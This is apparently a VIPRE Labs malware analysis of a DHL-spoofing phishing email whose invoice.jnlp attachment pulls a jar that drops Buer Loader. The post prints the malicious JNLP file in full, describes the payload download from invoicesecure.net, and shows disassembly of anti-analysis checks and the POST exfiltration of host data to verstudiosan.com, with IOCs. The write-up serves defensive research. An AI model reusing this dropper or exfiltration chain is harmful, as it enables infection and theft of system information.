### Buer Loader Found in an Unusual Email Attachment

Valabs.vipre.com/buer-loader-found-in-an-unusual-email-attachment/

#### Posted by VIPRE Labs

The COVID-19 pandemic has resulted in people ramping up online activities working from home, online shopping and relying more on online services. Recently, we came across a spam email lurking in the wild. This spam email is disguised as a known logistics company and has an unusual attachment. Malicious attackers trick the victim into believing that the email is legitimate by using a legitimate domain in the sender's email address. The content is also properly constructed and also uses a known logo making it difficult to spot that it is a malicious email.

From	: @DH	HL.COM	Date Time	: 3 Mar 2021 8:55:34 pm
То	: Really sectors and			
Cc	:			
Bcc	:			
Subject	: Re: DHL Shipment	AWB: [DHLF:8006144630]		
Attachments	: 🗋 invoice.jnlp			
	DHL-			
	EXPARSS			
DHL GLOBAL	FORWARDING		DHI Messaging System	
		DHL Shipment AWB: 4525841	1733	
		Dear		
Website :	www.dhl.com	Please see below the Arrival Notification f	Dr:	
DHL Cargo In	surance	Shipper Reference		
DHL Climate N	Veutral	DHL Airwaybill: (4525841733) Please check the ATTACHED for tracking d	etails and schedule delivery	
		time.		
		Do not nestate to contact us for further a	ssistance.	
		This is an e-mail message from DHL.	The information contained	
		in this communication is intended so	ely for use by the	
		individual or entity to whom it is add	ressed. Use of this	
		was sent to you by mistake, please	destroy it without reading.	
		using, copying or disclosing its conte	ents to any other person.	
		We accept no liability for damage re	lated to data and/or	
		documents which are communicated	by electronic mail.	

Figure 1.0 Spam email with .jnlp attachment

As threats become more prominent, we should always be cautious. These are some indicators that will show that this email is suspicious and not legitimate:

Received-SPF: softfail ( transitioning domain of DHL.COM does not designate 45.88.10	5.192 as permitted sender) client-ip=45.88.105.192;
Received: from vm1864220.41ssd.had.wf ([45.88.105.192]) Received from data which is the real sender of the email	Received-SPF: softfail
From: @DHL.COM The visible sender of the email	
Subject: Re: DHL Shipment AWB: [DHLF:8006144630] Date: 03 Mar 2021 13:55:34 +0100	
Message-ID: <20210211135534.1968FCC799378D210DHL.COM> MIME-Version: 1.0	

Figure 2.0 The email header

• Checking the email header, we can see that the "received from" which is in the green box in Figure 2.0, didn't match with the "from" field (the visible sender of the email). The "received from" data is the most reliable and it is where we can see the real sender of the email. Upon researching, the domain in the "received from" header is not related to DHL. With this, the email header is forged.

- An Additional checker is the Received-SPF: softfail. It says that the "domain of DHL.COM does not designate 45.88.105.192 as permitted sender". Upon checking, the IP address 45.88.105.192 in the "received from" is not also related to DHL.
- The attachment of the email is a .jnlp file is a Java Network Launch Protocol which is an unusual attachment for an email.

#### Analyzing the attachment

We will now proceed on the analysis of the jnlp file attachment that has a filename "invoice.jnlp". We said earlier that .jnlp stands for Java Network Launch Protocol, that's used for launching java applications from a hosted web server on a remote desktop client. Checking the jnlp file, we can see that the file will download invoice.jar from a web server hxxp://invoicesecure[.]net/documents when executed.

THE	
invoice.jnlp	invoice.jnlp ×
	1 xml version="1.0" encoding="utf-8"?
	2⊟ <jnlp codebase="http://invoicesecure.net/documents" href="invoice.jnlp" spec="1.0+"></jnlp>
	3⊡ <information></information>
	4 <title>Secure Document Reader</title>
	5 <vendor>Adobe</vendor>
	6 <homepage href="www.adobe.com"></homepage>
	7 <description>Adobe Secure Document Reader v.2.014</description>
	8
	9⊟ <security></security>
	10 <all-permissions></all-permissions>
	11
	12 <
Quick file coards (see file outpasies)	13 <j2se version="1.6+"></j2se>
	14 <jar href="invoice.jar"></jar>
Exact - +	15
~	16⊟ <application-desc main-class="Secure_Document_Reader"></application-desc>
Search	17
Search from All Classes	18
Chiese	19
strings 🗸 🗸	20

#### Figure 3.0 The jnlp file

The downloaded file is an invoice.jar file which is a Java Archive file. When we tried to launch the file it will show this output:



Figure 4.0 The error message upon launching invoice.jar

With this message, the victim will think that it was an error and will ignore the file. But upon analyzing the invoice.jar, we found out that this message is just a decoy. The attackers just made this technique to trick their victims and make the malware run without suspicion. Based on its code after showing an error message, it will start to read the data from "hxxp://invoicesecure[.]net/img/footer[.]jpg" and saved it as "C:\\ProgramData\\drvr32.exe". Then use Desktop.getDesktop().open() to open drvr32.exe.



📕 (ht	(http.request or tls.handshake.type eq 1) and !(ssdp)														
No.	Time	Destination	Protocol	Length	Host	Info									
	18 1.009280	157.55.163.108	TLSv1.2	259		Client Hello									
	48 4.866115	54.37.179.198	HTTP	225	invoicesecure.net	GET /img/footer.jpg HTTP/1.1									

Figure 6.0 The HTTP GET Request once invoice.jar was executed

#### The Buer Loader

The malicious downloaded file was named "drvr32.exe" and disguised as a legitimate xls viewer application:

🖃 📝 c:\programdata\drvr32.exe	property	value	
Jul indicators (7/22)			
> dos-header (64 bytes)			
dos-stub (136 bytes)			
b file-header (Dec.2019)			
> optional-header (GUI)			
directories (3)			
> sections (virtualized)			
> libraries (7)			
	CompanyName	ByteScout Software	
	FileDescription	ByteScout XLS Viewer Setup	
tls-callbacks (n/a)	FileVersion	4.0.0.1910	
	LegalCopyright		
abc strings (threshold)	ProductName	ByteScout XLS Viewer	
	ProductVersion	4.0.0.1910	
	A STATE OF A STATE OF A STATE OF A STATE		
10 version (4.0.0.1910	)		

Figure 7.0 Disguising as a legitimate file

This file was identified as a type of a malware loader known as Buer Loader. This loader was first seen in 2019 and commonly distributed through malicious spam email campaigns.

🕫 🌽 🕨 Com	puter 🔸 Local Disk (C:) 🔸 ProgramData 🔸			
			- Constanting	
: 🔻 Inclu	de in library 🔻 Share with 🔻 Burn Nev	v folder		
vrites	Name	Size	*	1
sktop	drvr32.exe		282 KB	

Figure 8.0 The buer loader

When executed, it will first create its installation folder "zsadsadsad" at the Startup folder and create a copy of itself in %AppData%. The created folder "zsadsadsad" contains LNK shortcut file. We decoded the LNK file to analyze all the available information it contains and we found out that it will link to the created copy.

Startup           zsadsadsad           Image: disfffffdd	
1 Back	
Search programs and files	٩
🚳 🥖 📋 🖸	

Figure 9.0 The installation folder "zsadsadsad" and the Ink shortcut file



Figure 10.0 The decoded information of LNK file linking to the created copy

Throughout our analysis, we found out that this loader has an anti-analysis. It will check if the following DLLs are existing in the place where the malware is running:

E8 5CD2FFFF	call 4000000buermodified.3FBB2FB3	
8BCE	mov ecx,esi	
8945 DO	mov dword ptr ss:[ebp-30],eax	[ebp-30]:L"avghooka.dll"
E8 22D2FFFF	call 4000000buermodified.3FBB2F83	
8BCE	mov ecx,esi	
8945 D4	mov dword ptr ss:[ebp-2C],eax	[ebp-2C]:L"avghookx.dll"
E8 60D2FFFF	call 4000000buermodified.3FBB2FCB	
8BCE	mov ecx,esi	
8945 D8	mov dword ptr ss:[ebp-28],eax	[ebp-28]:L"snxhk.dll"
E8 6ED2FFFF	call 4000000buermodified.3FBB2FE3	
8BCE	mov ecx,esi	
8945 DC	mov dword ptr ss:[ebp-24],eax	[ebp-24]:L"sbiedll.dll"
E8 7FD2FFFF	call 4000000buermodified.3FBB2FFE	
8BCE	mov ecx,esi	
8945 EO	mov dword ptr ss:[ebp-20],eax	[ebp-20]:L"dbghelp.dll"
E8 8DD2FFFF	call 4000000buermodified.3FBB3016	
8BCE	mov ecx,esi	
8945 E4	mov dword ptr ss:[ebp-1C],eax	[ebp-1C]:L"api_log.dll"
E8 9BD2FFFF	call 4000000buermodified.3FBB302E	
8BCE	mov ecx,esi	
8945 E8	mov dword ptr ss:[ebp-18],eax	[ebp-18]:L"dir_watch.dll"
E8 A9D2FFFF	call 4000000buermodified.3FBB3046	
8BCE	mov ecx,esi	
8945 EC	mov dword ptr ss:[ebp-14],eax	[ebp-14]:L"pstorec.dll"
E8 B7D2FFFF	call 4000000buermodified.3FBB305E	
8BCE	mov ecx,esi	
8945 FO	mov dword ptr ss:[ebp-10],eax	[ebp-10]:L"vmcheck.dll"
E8 C5D2FFFF	<pre>call 4000000buermodified.3FBB3076</pre>	
8BCE	mov ecx,esi	
8945 F4	mov dword ptr ss:[ebp-C],eax	[ebp-C]:L"wpespy.dll"
E8 D3D2FFFF	call 4000000buermodified.3FBB308E	
8BCE	mov ecx,esi	
8945 F8	mov_dword_ptr_ss:[ebp-8],eax	[ebp-8]:L"cmdvrt64.dll"
E8 E1D2FFFF	<pre>call 40000000buermodified.3FBB30A6</pre>	
8945 FC	mov dword ptr ss:[ebp-4],eax	[ebp-4]:L"cmdvrt32.dll"
2256	won act act	

#### Figure 11.0 The DLLs to check

As per checking, some of the checked DLLs above are related to anti-virus and debuggers.

Then, it will call functions like GetCurrentHwProfileA, GetComputerNameW, and GetVolumeInformation to collect the information of the infected machine. The collected information will be combined in an allocated memory and will be formatted using wsprintfw function.

	33F6	xor esi,esi	
	→0FR64435 C4	movzy eax, byte ptr ss: ebp+esi-3C	
	50	nuch any	eavel "choftdaa"
	50	pusit eax	Caxie Cubilidaa
	68 <u>6862BB3F</u>	push 4000000buermoditied.3FBB6268	3FBB6268:L"%02X"
	57	push edi	
	FF15 1C60BB3	<pre>call dword ptr ds:[&lt;&amp;wsprintfw&gt;]</pre>	
	83C4 0C	add esp,C	
	57	push edi	
	FF73 04	push dword ptr ds:[ebx+4]	[ebx+4]:L"cb9f1daa"
	85F6	test esi,esi	
~	75 07	jne 4000000buermodified.3FBB4238	
	E8 C6E8FFFF	call 4000000buermodified.3FBB2AFC	
×	EB 05	jmp 4000000buermodified.3FBB423D	
	E8 38E9FFFF	call 4000000buermodified.3FBB2B75	
	46	inc esi	
	83FE 20	cmp esi,20	20:' '
~	-7C D1	jl 4000000buermodified.3FBB4214	
		non edi	

Figure 12.0 Routine for formatting the collected information

# The collected display name, globally unique identifier (GUID) string for the hardware profile, and the computer name

	0040640		
COLLONED	00122040		
0012BFEC	01970000	L"{WIN-SPF5F6SH243-29539-1798}{e29ac6c0-7037-61de-816d-306e6f6e6963}Undocked	Profile"
0012BFF0	0012D76C		
0012BFF4	AA1D9FCB		
00128558	COAFOECC		
00128660	CO4505CC		
0012BFFC	670CBFE5		
00120000	D214D6EA		
00220000	o c c io o c ii		

#### The formatted information

Address	Hep	Hex															ASCII
01A70000	63	00	62	00	39	00	66	00	31	00	64	00	61	00	61	00	c.b.9.f.1.d.a.a.
01A70010	63	00	63	00	30	00	35	00	34	00	35	00	63	00	30	00	c.c.0.5.4.5.c.0.
01A70020	65	00	35	00	62	00	66	00	30	00	63	00	36	00	37	00	e.5.b.f.0.c.6.7.
01A70030	65	00	61	00	64	00	36	00	31	00	34	00	64	00	32	00	e.a.d.6.1.4.d.2.
01A70040	34	00	38	00	38	00	34	00	35	00	37	00	30	00	38	00	4.8.8.4.5.7.0.8.
01A70050	38	00	39	00	63	00	66	00	37	00	34	00	33	00	35	00	8.9.c.f.7.4.3.5.
01A70060	35	00	37	00	32	00	66	00	61	00	35	00	35	00	65	00	5.7.2.f.a.5.5.e.
01A70070	31	00	33	00	34	00	62	00	31	00	30	00	31	00	32	00	1.3.4.b.1.0.1.2.
							_	_			_				_	-	

Figure 13.0 The formatted string of victim's machine information

After this, it will call other functions to retrieve more information of the infected machine and to use these information for the malware's next actions:

- RtlGetVersion
- GetNativeSystemInfo
- GetComputerNameW
- GetDriveTypeA
- GetDiskFreeSpaceExA
- GetUserNameW
- NetWkstaGetInfo

All of the other retrieved information will be combined to the formatted string above and the output is this:

## cb9f1daacc0545c0e5bf0c67ead614d24884570889cf7435572fa55e134b1012|bc31re1bs5a8d1fc4ddb3cc4b75594c31b8c00de3fdfa31fgg1ad<sup>7</sup>7|x32|1|User|WIN-SPF5F5SH244|14/59|WORKGROUP|test|0

Then, this output will be formatted again using wsprintfw function and the result is this:

	_																
02940000	33	00	33	00	61	00	36	00	63	00	35	00	31	00	39	00	3.3.a.6.c.5.1.9.
02940010	64	00	64	00	64	00	65	00	34	00	31	00	30	00	36	00	d.d.d.e.4.1.0.6.
02940020	66	00	63	00	36	00	35	00	66	00	65	00	33	00	34	00	f.c.6.5.f.e.3.4.
02940030	66	00	34	00	65	00	65	00	39	00	36	00	62	00	63	00	f.4.e.e.9.6.b.c.
02940040	33	00	38	00	35	00	62	00	31	00	63	00	63	00	32	00	3.8.5.b.1.c.c.2.
02940050	31-	-00	61	00	66	-00	-36	00	36	-00	63	00	30	00	62	00	1.a.f.6.6.c.0.b.
02940060	61	00	62	00	65	00	61	00	61	00	36	00	61	00	33	00	a.b.e.a.a.6.a.3.
02940070	37	00	36	00	62	00	66	00	36	00	65	00	31	00	35	00	7.6.b.f.6.e.1.5.
02940080	35	00	38	00	65	00	62	00	61	00	33	00	33	00	66	00	5.8.e.b.a.3.3.f.
02940090	64	00	64	00	62	00	38	00	61	00	33	00	38	00	32	00	d.d.b.8.a.3.8.2.
029400A0	63	00	30	00	65	00	37	00	35	00	64	00	63	00	63	00	c.0.e.7.5.d.c.c.
029400B0	31	00	35	00	38	00	61	00	64	00	61	00	32	00	66	00	1.5.8.a.d.a.2.f.
029400C0	62	00	65	00	64	00	61	00	62	00	34	00	61	00	34	00	b.e.d.a.b.4.a.4.
029400D0	30	00	32	00	35	00	33	00	65	00	39	00	35	00	62	00	0.2.5.3.e.9.5.b.
029400E0	34	00	36	00	61	00	33	00	34	00	38	00	38	00	31	00	4.6.a.3.4.8.8.1.
029400F0	62	00	66	00	63	00	35	00	37	00	30	00	33	00	34	00	b.f.c.5.7.0.3.4.
02940100	64	00	61	00	33	00	37	00	38	00	63	00	62	00	39	00	d.a.3.7.8.c.b.9.
02940110	35	00	33	00	30	00	62	00	36	00	38	00	34	00	34	00	5.3.0.b.6.8.4.4.
02940120	36	00	36	00	63	00	30	00	32	00	30	00	31	00	38	00	6.6.c.0.2.0.1.8.
02940130	62	00	36	00	64	00	61	00	34	00	37	00	65	00	33	00	b.6.d.a.4.7.e.3.
02940140	33	00	33	00	35	00	32	00	62	00	39	00	63	00	64	00	3.3.5.2.b.9.c.d.
02940150	36	00	39	00	35	00	37	00	32	00	66	00	61	00	37	00	6.9.5.7.2.f.a.7.
02940160	33	00	38	00	34	00	61	00	61	00	33	00	63	00	37	00	3.8.4.a.a.3.c.7.
02940170	65	00	37	00	30	00	31	00	63	00	30	00	34	00	61	00	e.7.0.1.c.0.4.a.
02940180	34	00	32	00	32	00	62	00	33	00	35	00	31	00	66	00	4.2.2.b.3.5.1.f.
00040100	6.0	00	- D - 4	00	64	00	20	00	60	00	D 4	00	64	00	77	00	h 4 5 0 h 4 5 7

Figure 14.0 The 2nd round formatting of string of the victim's machine information

After retrieving and formatting the needed information of the victim's machine, Buer Loader will make it to a base64 string:

Lise 3F OBC6 3F OBC6 3F OBC6 3F OBC6 3F SA05 1 SA05 1 SA05 1 SA05 1 SA05 1 OFB6C 4 OFB6C 4 OFB6C 6 C1E1 04 OBC6 6 GA 02 SB SA81 40718B3 SB SA81 40718B3 SB SA81 40718B3 SB	<pre>and edx,'sF or ecx,eax mov al,byte ptr ds:[ecx+\$FBB7140] mov byte ptr ds:[ecx+\$FBB7140] mov al,byte ptr ds:[edx+\$FBB7140] mov al,byte ptr ds:[edx+\$FBB7140] mov byte ptr ds:[es+ed1+1],a1 add es;]2 jm #0000000buermodified.3FBB3C6F movzx ecx,d1 andzx ecx,d1 andzx</pre>	ecx+3F887140:"JKLMNOPQRSTU\ ecx+3F887140:"JKLMNOPQRSTU\		
33DB OFRECE	xor ebx,ebx		Address Hex ASC	11
C1E6 02 C1E6 02 88042 88043E 4071883 88406 8845 F8 8406 800 40 40 40 40 40 40 40 40 40	<pre>inc bx inc bx shr eax,2 mov al,byte ptr ds:[eax+\$F687140] mov byte ptr ds:[es1+ed1],a] inc es1 mov eax,dword ptr ss:[ebp-s] mov dyte ptr ss:[ebp-1],d] mov ecx,es1 mov dword ptr ss:[ebp-5],eax cmp eax,dword ptr ss:[ebp-6],eax isb ebx,1 sub eb</pre>	eax+3F687140:"HIJKLMNOPQRS1	02990000 400 7A 4E 68 4E 60 40 31 40 54 6C 68 5A 57 52 6C 122 02990101 44 45 77 14 66 05 5A 6A 4E 6A 56 05 A5 44 03 00 ND 02990120 5A 6A 52 6C 5A 54 6B 32 59 60 40 7A 4F 45 56 92 75 02990130 40 57 4E 6A 40 6A 46 68 5A 6A 59 22 59 7A 42 69 MW 02990050 159 57 4A 6C 59 57 45 32 59 54 40 33 4E 60 A4 60 YW 02990050 159 57 4A 6C 59 57 45 74 5A 57 4A 68 40 7A 4F 44 A6 70 MW 02990050 5A 47 52 69 4F 47 45 7A 4F 44 4A 6A 40 47 55 33 26 02990070 45 75 25 6A 59 7A 45 31 4F 47 46 66 59 54 40 30 MW 02990080 59 60 56 68 59 57 44 30 59 54 51 57 74 6A 55 7A YM 02990080 59 60 56 68 59 57 44 30 05 95 54 51 57 74 65 57 AY 02990080 59 60 56 6A 4 <u>E 54 55 34 74 40 74 95 24 54 44 47 46 54 54 74 46 55 74 74 10 2990080 59 60 56 6A 55 75 74 49 30 59 54 51 57 74 05 55 7A 197 02990080 59 60 56 6A 54 54 55 34 74 40 74 95 24 4F 44 45 30 06 02990080 59 60 56 6A 4<u>E 54 55 34 74 40 74 95 24 54 44 53 70 10</u> 02990080 59 60 56 6A 44 54 55 17 40 74 45 24 46 66 59 54 44 03 30 06 02990080 59 60 56 6A 44 54 55 10 74 10 74 45 24 66 59 24 64 53 26 86 ND 02990080 159 60 56 6A 40 44 99 77 40 54 66 69 24 60 52 68 ND 02990080 159 60 56 6A 10 44 90 77 40 54 66 69 4F 57 74 66 80 00 45 40 32 10 02 02990000 14 64 54 6A 00 40 49 77 40 54 66 69 4F 57 74 66 80 00 56 68 50 60 50 50 56 56 50 50 50 50 50 50 56 56 50 50 50 50 50 50 56 56 50 50 50 50 50 50 50 50 50 50 50 50 50 </u>	INNIMIATI KZGRI WNRZ JN JIWZTNO IZTKZYMZTOVI JJW JFAZ JYZYZ BI JWE2YTM SNMJ M JWTU4ZWJ JNG JMGU3 UJYZE LOGFKYT JM KYWIOYTQWJ JUZ LYJQ2YTMOOD gX ZJYTCWMZRKYTM3 CJUZ GDQ0 ZJMD IWMThINRH
			- 029900E0 4E 6A 6B 31 4E 7A 4A 6D 59 54 63 7A 4F 44 52 68 Njk	C1NZ JmYTCZODRh
TA         4E         68         4E         60           00 </td <td>Dump 3         Image Dump 4         Image Dump 5         Image Dump 5         Image Dump 6         Mascellar           50         4D         31         4D         00</td> <td>IX= Locals 20 Struct</td> <td>02990100   59 54 4E ba   4E 32 55 33   4D 44 46 6A   4D 44 52 68 YT 02990100   59 54 4E 49 79 59 6A 4D 31   4D 57 5A 69   4E 47 45 35 ND 02990110   59 6A 52 68   4E 32 4A 6A   4F 57 51 32   4D 32 55 33 YE 02990120   4E 74 4A 6A   64 44 67 A, 5A 44 5A 68   5A 46 59 33 NZ 02990130   4D 44 6B 79   4D 44 4E 68   4E 7A 5A 6B   5A 46 51 79   MD 02990140   59 25 5A 68   4F 54 68 6C 59 57 4D 31   4E 54 68 34 YZ 02990150   4E 44 68 3D   00 00 00 00 00 00 00 00 00 00 00 00 0</td> <td><pre>«JN2USMDF]MDRh LyYjM1MWZ1NGE5 LhN2JjOWQ2M2U3 JjNDgZDZkZmY3 cyMDNhNzZkODQy zhOTh]YM1NTk4 k=</pre></td>	Dump 3         Image Dump 4         Image Dump 5         Image Dump 5         Image Dump 6         Mascellar           50         4D         31         4D         00	IX= Locals 20 Struct	02990100   59 54 4E ba   4E 32 55 33   4D 44 46 6A   4D 44 52 68 YT 02990100   59 54 4E 49 79 59 6A 4D 31   4D 57 5A 69   4E 47 45 35 ND 02990110   59 6A 52 68   4E 32 4A 6A   4F 57 51 32   4D 32 55 33 YE 02990120   4E 74 4A 6A   64 44 67 A, 5A 44 5A 68   5A 46 59 33 NZ 02990130   4D 44 6B 79   4D 44 4E 68   4E 7A 5A 6B   5A 46 51 79   MD 02990140   59 25 5A 68   4F 54 68 6C 59 57 4D 31   4E 54 68 34 YZ 02990150   4E 44 68 3D   00 00 00 00 00 00 00 00 00 00 00 00 0	<pre>«JN2USMDF]MDRh LyYjM1MWZ1NGE5 LhN2JjOWQ2M2U3 JjNDgZDZkZmY3 cyMDNhNzZkODQy zhOTh]YM1NTk4 k=</pre>
The converting routine of the formatted victim's machine information to base64 The output base64 string				

Figure 15.0 Converting to base64 string

Digging deeper into our analysis, we encountered InternetOpenA function to initialize a use of the WinINet functions. Then, it will try to open an http session to "verstudiosan[.]com" using InternetConnectW function.

6A 00 6A 00 6A 03 FF75 18 FF75 14 FF75 10 FF75 00 FF75 08	push 0 push 0 push 3 push dword ptr ss:[ebp+18] push dword ptr ss:[ebp+14] push dword ptr ss:[ebp+0] push dword ptr ss:[ebp+6]	[ebp+C]:L"verstudiosan.com"
FFD0	call eax	InternetConnectW
5D	pop ebp	

#### Figure 16.0 Opens an HTTP session

It has GET method to download additional malware and POST method to send the collected victim's machine information to the server:

51 FF75 20 51	push ecx push dword ptr ss:[ebp+20] push ecx push ecx	
68 C062BB3F	push 40000000buermodified.3FBB62C0	3FBB62C0:L"HTTP/1.1"
FF75 10	push dword ptr ss:[ebp+10]	
FF75 0C	push dword ptr ss: ebp+C	[ebp+C]:L"POST"
FFDO	call eax	HttpOpenRequestW
5D	pop ebp	

Figure 17.0 HTTP POST Request method

FF75 18 FF75 14	push dword pt push dword pt The base64 information	[ebp+14]:"acreodaz=MzNhNmM1M&atcoqu=TlkZGRl&yqykegf=NDEwNmZj&uxuzm
6A FF FF75 0C FF75 08	push FFFFFFFF push dword ptr ss: ebp+C push dword ptr ss: ebp+8	[ebp+C]:L"Content-Type: application/x-www-form-urlencoded"
FFDO	call eax	HttpSendRequestW
FD	non ohn	

#### Figure 18.0 Sending the specified request

We searched the domain and found out that this domain was just recently created. We also learned that this domain is no longer reachable and possibly just used for malicious activity.

Connecting to whois.epik.com		
Server whois.epik.com returned the following for VERSTUDIOSAN.COM		
Domain Name: VERSTUDIOSAN.COM		
Registry Domain ID: 2594731830_DOMAIN_COM-VRSN		
Registrar WHOIS Server: whois.epik.com		
Registrar URL: http://www.epik.com		
Undated Date: 2021-03-01T00:20:227		
Creation Date: 2021-03-01T00:20:07Z		
Registrar Registration Expiration Date: 2022-03-01T00:20:07Z		

	586 194.595973	DNS	76 Standard query 0x2224 A verstudiosan.com
	587 195.596485	DNS	76 Standard query 0x2224 A verstudiosan.com
	588 196.531401	DNS	76 Standard query response 0x2224 Server failure A verstudiosan.com
	589 196.670852	DNS	76 Standard query response 0x2224 Server failure A verstudiosan.com
	590 196.670922	ICMP	104 Destination unreachable (Port unreachable)
	591 197.742765	DNS	76 Standard query response 0x2224 Server failure A verstudiosan.com
2	592 197.742816	ICMP	104 Destination unreachable (Port unreachable)
	593 203.560257	BROWSER	243 Local Master Announcement WIN-SPF5F5SH244. Workstation. Server. NT 1
<			
>	Internet Control Message Protocol		
~	Domain Name System (response)		
	> Transaction ID: 0x2224		
	> Flags: 0x8182 Standard query response, Server failure		
	Questions: 1		
	Answer RRs: 0		
	Authority RRs: 0		
	Additional RRs: 0		
	✓ Queries		
	> verstudiosan.com: type A, class IN		
	[Retransmitted response. Original response in: 588]		

Figure 20.0 Unreachable server

#### **Attack Flow**



VIPRE detects and prevents this kind of malware and associated infections.

#### IOCs:

- The Spam Email
- 66f13fa2c9e34705bbbc4645462188ca57c0fdc3a17418c96c0ed9371055f3bc • JNLP File
  - 368b409080e9389b342e33a014cd7daf3fd984fdc2b0e5ecc8ac4d180759a1c4
- Jar File
  - 064fe7ef429f373d38813a05c9d2286a86337c1fc1b12c740b729f1f76de1811
- PE File
  - dbdc38dee1c9c9861a36cf6462dca55dcef6c1f128b2270efd99d4347568292c
- · Malicious website
  - verstudiosan[.]com
  - hxxp://invoicesecure[.]net/documents

Analysis by #Farrallel